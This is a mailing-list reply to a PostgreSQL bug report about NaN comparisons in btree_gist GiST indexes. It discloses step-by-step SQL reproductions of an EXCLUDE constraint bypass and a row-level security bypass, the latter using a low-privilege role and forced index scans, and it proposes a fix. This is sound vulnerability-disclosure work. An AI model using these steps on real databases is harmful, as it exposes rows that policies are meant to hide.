Re: BUG #19524: In `contrib/btree_gist` float4/float8 GiST index operations, handling NaN values with raw C operator - Mailing list pgsql-bugs

In addition to the index scan inconsistency you described, I found two further security-relevant effects from the same root cause.

Effect 1: EXCLUDE constraint bypass (float4)

CREATE TABLE reservations (

room float4,

during tsrange,

EXCLUDE USING gist (room WITH =, during WITH &&)

);

INSERT INTO reservations VALUES ('NaN'::float4, '[2025-01-01,2025-01-02)');

INSERT INTO reservations VALUES ('NaN'::float4, '[2025-01-01,2025-01-02)');

SELECT COUNT(*) FROM reservations;

Expected: 1 (second insert blocked). Actual: 2. The EXCLUDE constraint is silently bypassed for NaN values, allowing duplicate conflicting rows to be inserted.

Effect 2: RLS bypass (float8)

CREATE TABLE measurements (id int, val float8);

CREATE INDEX ON measurements USING gist (val);

INSERT INTO measurements VALUES (1, 'NaN'), (2, 1.5);

ALTER TABLE measurements ENABLE ROW LEVEL SECURITY;

ALTER TABLE measurements FORCE ROW LEVEL SECURITY;

CREATE POLICY hide_nan ON measurements FOR SELECT USING (val != 'NaN'::float8);

CREATE ROLE lowpriv LOGIN;

GRANT SELECT ON measurements TO lowpriv;

SET ROLE lowpriv;

SET enable_seqscan = off;

SET enable_bitmapscan = off;

SELECT * FROM measurements ORDER BY id;

Expected: only (2, 1.5). Actual: both rows including (1, NaN). The RLS policy is bypassed when the GiST index is used because gbt_float8_consistent() sets *recheck = false unconditionally, so the heap-level RLS filter is never applied.

The root cause is that gbt_float8eq(NaN, NaN) returns false due to IEEE 754 semantics, causing BtreeGistNotEqualStrategyNumber in btree_utils_num.c:300 to incorrectly conclude that NaN satisfies != NaN. The fix (replacing raw C operators with float8_cmp_internal) addresses both effects. As an additional defensive measure, *recheck in the consistent functions should be set to true when the query or key involves NaN.